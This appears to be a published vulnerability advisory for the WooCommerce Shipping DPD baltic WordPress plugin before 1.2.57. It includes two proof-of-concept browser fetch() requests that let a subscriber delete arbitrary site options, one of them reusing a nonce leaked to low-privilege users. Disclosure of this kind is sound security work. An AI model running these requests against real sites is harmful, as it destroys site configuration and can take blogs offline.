WordPress Plugin Vulnerabilities

WooCommerce Shipping - DPD baltic < 1.2.57 - Subscriber+ Arbitrary Options Deletion

Description

The plugin does not have authorisation and CSRF in an AJAX action, which could allow any authenticated users, such as subscriber to delete arbitrary options from the blog, which could make the blog unavailable.

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as any user to delete the blog options with ID 4 (usually the blogdescription):

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=delete_warehouse&option_id=4'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Note: In 1.2.11, a CSRF check was added but the nonce is available to any authenticated user via the admin_ajax_nonce JS variable in the backend (below command to be ran when logged in as a subscriber, from the Profile page, ie /wp-admin/profile.php):

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=delete_warehouse&option_id=4&admin_ajax_nonce=' + wc_dpd_baltic['admin_ajax_nonce']
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Affects Plugins

References

Classification

Type
NO AUTHORISATION
CWE
CVSS

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-11-21 (about 1 years ago)
Added
2022-11-21 (about 1 years ago)
Last Updated
2023-02-03 (about 1 years ago)

Other